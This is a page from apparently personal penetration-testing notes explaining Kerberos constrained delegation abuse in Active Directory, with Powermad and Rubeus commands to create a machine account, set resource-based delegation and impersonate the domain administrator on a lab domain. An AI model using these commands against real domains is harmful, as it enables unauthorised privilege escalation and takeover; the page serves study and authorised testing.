Pentest Journeys
Connect
  • Welcome!
  • Boxes
    • Categories
    • Starting Point
      • Unified
      • Three
    • Easy
      • Forest
      • Sauna
      • Active
      • Broker
      • Return
      • Timelapse
      • Support
      • Nibbles
      • Keeper
      • CozyHosting
      • Devvortex
      • Lame
      • FunBoxEasyEnum
      • Inclusiveness
      • Potato
      • Sumo
    • Medium
      • Resolute
      • Cascade
      • Monteverde
      • Intelligence
      • StreamIO
      • Loly
    • Hard
      • Mantis
      • Blackfield
      • Reel
    • Insane
      • Sizzle
      • Multimaster
      • Rebound
  • Cloud
    • Public Snapshots
  • TL;DR
    • Active Directory
      • AD Authentication
      • Access Controls
      • Recon
      • Groups
        • Account Operators
        • Backup Operators
        • DnsAdmins
        • Exchange Windows Permissions
        • Server Operators
      • Privileges
        • SeBackupPrivilege
        • SeImpersonatePrivilege
      • Permissions
        • AddSelf
        • DCSync
        • ForceChangePassword
        • FullControl
        • GenericAll
        • GenericWrite
        • Owns
        • ReadGMSAPassword
        • ReadLAPSPassword
        • WriteDACL
        • WriteOwner
      • Attacks
        • Password Spraying
        • ASREPRoasting
        • Kerberoasting
        • Silver Tickets
        • DCSync
        • Delegation
          • Unconstrained
          • Constrained
          • Resource-Based
        • Local SAM Dump
        • NTLMv2
        • Services
        • Scheduled Tasks
        • Exploits
      • Lateral Movement
        • WMI & WinRM
        • PsExec
        • Pass-the-Hash
        • Overpass-the-Hash
        • Pass-the-Ticket
        • DCOM
        • SSP Injection
      • Persistence
        • Golden Ticket
        • Shadow Copies
    • Web
      • Common Findings
        • Security Headers
        • Cookie Flags
        • SSL/TLS
      • Authentication
        • Broken Reset Logic
        • Brute Force Attacks
        • Rate Limiting
        • Session Tokens
        • MFA
        • JWTs
      • Authorization
        • IDOR / BOLA
        • IDOR / BFLA
        • Weak Access Controls
        • Automated A-B Testing
      • Injections
        • SQLi
          • SQLi 101
          • In Band
          • Blind
          • NoSQLi
          • Second Order
          • Other
        • XSS
          • XSS 101
          • Reflected
          • Stored
          • DOM-Based
          • Exploitation
          • Payloads
        • CI
          • CI
          • Filters
          • Examples
        • SSTI
          • SSTI 101
          • Twig
          • Freemarker
          • Pug
          • Jinja
          • Mustache
          • Handlebars
          • Mako
          • Case Study: Craft CMS
        • XXEI
          • XML 101
          • XXEI
      • File Inclusion
        • LFI & RFI
        • RCE
      • Cross-Origin
        • Cross-Origin 101
        • CSRF
        • CORS
      • File Uploads
      • Mass Assignment
      • WebSockets
      • Open Redirects
      • Race Conditions
      • SSRF
        • Exploitation
        • Examples
    • API
      • What is an API?
      • Useful Terms
      • Collection Creation
      • Enumeration
      • Tests
        • General
        • Security Misconfigurations
        • Authorization
          • BOLA
          • BFLA
        • Authentication
          • BFAs
          • Tokens
          • JWTs
            • Entropy Analysis
            • Signature Validation
            • Weak Signature
            • Header Injection
            • Algorithm Confusion
        • Excessive Data Exposure
        • HTTP Verb Tampering
        • Content Type Tampering
        • Improper Asset Management
        • Mass Assignment
        • SSRF
        • Unrestriced Resource Consumption
        • Unrestricted Access to Sensitive Business Flows
        • Unsafe API Consumption
    • Infra
      • Windows
      • Linux
      • FreeBSD
    • Pivoting
      • Networking 101
      • Port Foward
      • SSH Tunelling
      • Deep Packet Inspection
        • HTTP Tunneling
        • DNS Tunneling
    • Social Engineering
      • Phising
    • Cloud
      • AWS
        • Recon
    • Code Review
  • Tools
    • Web
      • Web Checklist
      • API
        • mitmweb
        • KiteRunner
        • Arjun
        • jwt_tool
      • Dirbusting
        • Fuff
        • Dirsearch
        • GoBuster
        • Wfuzz
      • Cloud
        • AWS
      • cURL
      • Hydra
      • Hakrawler
      • amass
      • WAFs
      • WhatWeb
      • Creds
      • SQLMap
      • GoWitness
      • Web Servers
        • Apache
        • Nginx
        • IIS
      • Frameworks
        • Spring
      • CMS
        • WordPress
        • Joomla
        • DNN
        • Umbraco
        • RiteCMS
      • DevOps
        • GitLab
        • Git Tools
      • BurpSuite
    • Infra
      • pspy
    • Port Scanners
      • Nmap
      • Rustscan
      • Arp-Scan
      • Netcat
      • PowerShell
    • Active Directory
      • netexec
      • impacket
      • mimikatz
      • Hounds
      • PowerView
      • SysInternals
      • net.exe
      • ldapsearch
      • BloodyAD
      • PowerView.py
      • Rubeus
      • DPAT
      • PingCastle
      • PowerUp
      • runas
      • Kerbrute
    • Passwords
      • HashID
      • Hashcat
      • John
      • DomainPasswordSpray
      • Credential Enum
    • Searchsploit
    • Metasploit
      • 101
      • Payloads
      • Post-Exploitation
      • Resource Scripts
    • Usernames
    • Vulnerability Scanners
      • Nuclei
      • Nikto
    • Text
      • jq
      • grep
      • awk
      • sed
      • tr
      • printf
    • Output
      • tee
    • Pivoting
      • Ligolo-ng
      • Sshuttle
    • Shells
      • Reverse Shells
      • Webshells
      • Upgrade
      • Listeners
        • Socat
        • Pwncat
        • Nc
    • Traffic Capture
    • File Transfers
    • Crypto
    • Files
    • Images
    • Evil-WinRM
    • KeePass
    • Random Scripts
  • Services
    • TCP
      • Remote Access
        • SSH (22)
        • RDP (3389)
        • WinRM (5985,5986)
      • Shares
        • FTP (21)
        • NFS (111, 2049)
        • SMB (139, 445)
      • LDAP (389, 636)
      • DNS (53)
      • SMTP (25,587)
      • DISTCC (3632)
      • AFS (1978)
      • DBMS
        • SQL
          • MSSQL (1433)
          • Oracle (1521)
          • MySQL (3306)
          • MariaDB (3306)
          • PostgreSQL (5432)
        • NoSQL
          • Aerospike (3000-3005)
          • MongoDB (27017)
    • UDP
      • SNMP (161)
  • OTHER
    • Exploits
      • Screen
    • CLIs
      • CMD
      • PowerShell
  • Package Managers
    • vevn
    • uv
  • Blue Team Stuff
    • Logs
      • System Logs
      • Apache2
      • Volatile Data
    • Traffic Analysis
      • Wireshark
Powered by GitBook
On this page
  • Theory
  • Without Protocol Transition (Kerberos Only)
  • Exploitation
  • With Protocol Transition
  • Exploitation
  • Resources

Was this helpful?

  1. TL;DR
  2. Active Directory
  3. Attacks
  4. Delegation

Constrained

PreviousUnconstrainedNextResource-Based

Last updated 1 year ago

Was this helpful?

All information found below has been adapted from and its corresponding .

Theory

Constrained delegation does not leverage TGTs, and thus, cannot impersonate a user freely on any service (msds-allowedtodelegateto). Instead, it uses the S4U2Self and S4U2Proxy Keberos extensions:

  1. S4U2Proxy: allows a service to obtain a ST on behalf of a client to another service. The initial client ST is required as evidence that the client has authenticated.

  2. S4U2Self: allows a service to obtain a ST to itself as evidence that a client has authenticated. Any services (SPN account) can invoke S4U2Self.

Without Protocol Transition (Kerberos Only)

Exploitation

This process requires only a ST (evidence/additional) as a requirement to invoke it.

We need an account with at least one SPN (Figure 2.1).

RBCD ?
# create a machine account (powermad)
New-MachineAccount -MachineAccount attl4s

We can impersonate web01 through its credentials (Figure 2.2).

# generate a TGT for web01
.\Rubeus.exe asktgt /user:web01$ /rc4:<hash> /domain:capsule.corp /nowrap /ptt

Any SPN account can configure RBCD for itself. So we will make web01 to trust attl4s, so the latter can impersonate any user to the former (Figure 3).

Import-Module .\Microsoft.ActiveDirectory.Management.dll
# set the RBCD bit
Set-ADComputer -Identity web01$ -PrincipalsAllowedToDelegateToAccount attl4s$ -Verbose

Now, we can use attl4s machine to obtain a ST for web01, impersonating the administrator (S4U2Self & S4U2Proxy) (Figure 4).

.\Rubeus.exe s4u /impesonateuser:administrator /user:attl4s /rc4:<hash> /msdsspn:cifs/web01.capsule.corp /nowrap

Since the second ST ticket is forwardable, it can be used on Kerberos for authenticating as administrator (TGT).

With Protocol Transition

  • PT means "I don't care how the client authenticates". It just needs the client's name.

Exploitation

.\Rubeus.exe s4u /impersonateuser:administrator /user:web01$ /rc4:<hash> /msdsspn:cifs/sql01.capsule.corp /altservice:http/sql01.capsule.corp /nowrap

If we compromise a service configured for CD with PT (web01), then we can generate a ST for any user we want (administrator) with S4U2Self pointing to web01 (Figure 6).

The ST generated from S4U2Self will be forwardable, and thus can be used with S4U2Proxy to generate a second ST for the targeted service (cifs) as the impersonated user (administrator) (Figure 7).

Althought, the SPN account will have specific service(s) in the msDS-AllowedToDelegateTo attribute (cifs) (Figure 8), this can modified to target other services from the same service account (http) (Figure 6 & 7).

Resources

The difference vs. is that the S4U2Proxy cannot be invoked as we don't have a ST for the user (since NTLM authentication was used) (Figure 5.1).

The difference with is that the KDC checks the TRUST_TO_AUTH_FOR_DELEGATION setting and sees that web01 is trusted, so it issues a forwardable ST to it (Figure 5.2), therefore, the S4U2Proxy can now be invoked.

RBCD
Without Protocol Transition (Kerberos Only)
Attl4s
video-presentation
slide deck
Figure 1: CD with PT process (image taken from).
Figure 2: Creating a SPN account and impersonating web01 (image taken from).
Figure 3: Setting the RBCD bit (image taken from).
Figure 4: Going through the S4U process (image taken from).
Figure 5: Constrained Delegation with protocol transition process (image taken from).
Figure 6: Getting a forwardable ST as administrator with the S4U2Self for web01 (image taken from).
Figure 7: Generating the second ST with S4U2Proxy for the targeted service as administrator (image taken from).
Figure 8: The msds-allowedtodelegateto attribute of WEB01 (image taken from).
here
here
here
here
here
here
here
here